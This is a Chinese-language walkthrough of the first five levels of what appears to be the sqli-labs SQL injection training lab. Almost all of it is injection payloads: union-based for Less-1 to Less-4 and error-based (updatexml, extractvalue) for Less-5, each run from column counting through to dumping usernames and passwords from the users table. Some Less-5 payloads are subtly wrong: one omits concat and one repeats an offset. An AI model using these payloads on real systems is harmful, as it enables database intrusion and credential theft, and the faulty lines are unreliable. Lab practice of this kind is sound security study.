第一关(Less-1)
一、判断注入类型
?id=2-1和?id=1内容不一样,说明是字符型注入
二、猜列数
?id=1' order by 3--+正常
?id=1' order by 4--+异常
说明存在3列
三、确认回显位
?id=-1' union select 1,2,3 --+
四、爆库名
?id=-1' union select 1,database(),3--+
五、爆表名
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security'--+
爆所有表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
六、爆列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
七、爆数据
?id=-1' union select 1,group_concat(id,'-',username,'-',password),3 from users--+
第二关(Less-2)
一、判断注入类型
?id=1 and 1=1 --+正常
?id=1 and 1=2 --+异常
说明是数字型注入
二、猜列数
?id=1 order by 3 --+正常
?id=1 order by 4 --+异常
说明有三列
三、确认回显位
?id=-1 union select 1,2,3 --+
四、爆库名
?id=-1 union select 1,database(),3 --+
五、爆表名
?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema='security' --+
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
六、爆列名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
七、爆数据
?id=-1 union select 1,group_concat(id,'-',username,'-',password),3 from users
第三关(Less-3)
一、判断注入类型
查看源码
?id=1') and 1=1 --+正常
?id=1') and 1=2 --+异常
说明为')注入
二、猜列数
?id=1') order by 3 --+正常
?id=1') order by 4 --+异常
说明有三列
三、确认回显位
?id=-1') union select 1,2,3 --+
四、爆库名
?id=-1') union select 1,database(),3 --+
五、爆表名
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
六、爆列名
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
七、爆数据
?id=-1') union select 1,group_concat(id,'-',username,'-',password),3 from users--+
第四关(Less-4)
一、判断注入类型
查看源码
?id=1") and 1=1 --+正常
?id=1") and 1=2 --+异常
说明为“)注入
二、猜列数
?id=1") order by 3 --+正常
?id=1") order by 4 --+异常
说明有3列
三、确认回显位
?id=-1") union select 1,2,3 --+
四、爆库名
?id=-1") union select 1,database(),3 --+
五、爆表名
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
六、爆列名
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
七、爆数据
?id=-1") union select 1,group_concat(id,'-',username,'-',password),3 from users --+
第五关(Less-5)
一、判断注入类型
?id=1' and 1=1 --+正常
?id=1' and 1=2--+异常
说明是’注入
二、猜列数
?id=1' order by 3--+正常
?id=1' order by 4--+异常
说明有3列
三、确认回显位(发现无回显位)
?id=-1' union select 1,2,3 --+
四、爆库名
无回显位,利用报错注入爆库名
?id=1' and updatexml(1,concat(1,(select database())),1) --+
五、爆表名
?id=1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1) --+
方法一:
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
方法二:
?id=1' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
六、爆列名
方法一:
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') ),1) --+
方法二:
?id=1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+
七、爆数据
方法一:
?id=1' and updatexml(1,concat(1,(select (id,'-',username,'-',password) from users) ),1) --+
?id=1' and updatexml(1,concat(1,(select username from users limit 0,1) ),1) --+
?id=1' and updatexml(1,concat(1,(select password from users limit 0,1) ),1) --+
?id=1' and updatexml(1,concat(1,(select username from users limit 1,1) ),1) --+
?id=1' and updatexml(1,concat(1,(select password from users limit 1,1) ),1) --+
方法二:
?id=1' and extractvalue(1,concat(1,(select username from users limit 0,1))) --+
?id=1' and extractvalue(1,concat(1,(select password from users limit 0,1))) --+
?id=1' and extractvalue(1,concat(1,(select username from users limit 1,1))) --+
?id=1' and extractvalue(1,concat(1,(select password from users limit 0,1))) --+